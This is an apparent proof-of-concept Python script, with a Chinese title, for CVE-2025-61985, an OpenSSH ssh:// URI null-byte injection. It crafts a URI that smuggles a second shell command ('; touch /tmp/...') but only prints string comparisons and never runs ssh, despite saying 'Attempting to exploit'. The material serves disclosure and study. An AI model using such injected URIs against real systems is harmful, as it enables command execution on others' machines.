CVE-2025-61985 OpenSSH ssh:// URI空字节注入导致代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-61985 PoC - OpenSSH ssh:// URI Null Byte Injection Demonstrates how a null byte in ssh:// URI can lead to command injection when ProxyCommand is configured. Vulnerable: OpenSSH < 10.1 Fixed in: OpenSSH 10.1p1 """ import subprocess import os # Configure a malicious ProxyCommand that demonstrates the vulnerability # In a real attack scenario, this would be set in ~/.ssh/config proxy_command = 'echo "ProxyCommand triggered"' # Craft a malicious ssh:// URI with embedded null byte # The null byte will truncate the string in C-based string handling, # while the shell will interpret the full command target_host = "user@legitimate-host" null_byte = "\x00" injected_command = "; touch /tmp/pwned_by_cve_2025_61985" malicious_uri = f"ssh://{target_host}{null_byte}{injected_command}" print(f"[*] Crafted malicious URI: {repr(malicious_uri)}") print(f"[*] Attempting to exploit CVE-2025-61985...") # Simulate the vulnerability by demonstrating how the null byte # affects string processing print(f"\n[*] String as C would see it (truncated at null byte):") print(f" {repr(malicious_uri.split(chr(0))[0])}") print(f"\n[*] String as shell would interpret it:") print(f" {repr(malicious_uri.replace(chr(0), ''))}") # Cleanup any previous exploitation artifacts if os.path.exists("/tmp/pwned_by_cve_2025_61985"): os.remove("/tmp/pwned_by_cve_2025_61985") print("\n[*] Cleaned up previous PoC artifacts") print("\n[!] Note: Actual exploitation requires:") print(" 1. OpenSSH version < 10.1") print(" 2. ProxyCommand configured in ssh_config") print(" 3. Attacker control over the ssh:// URI input") print("\n[+] PoC demonstration complete. Upgrade to OpenSSH 10.1p1 to mitigate.")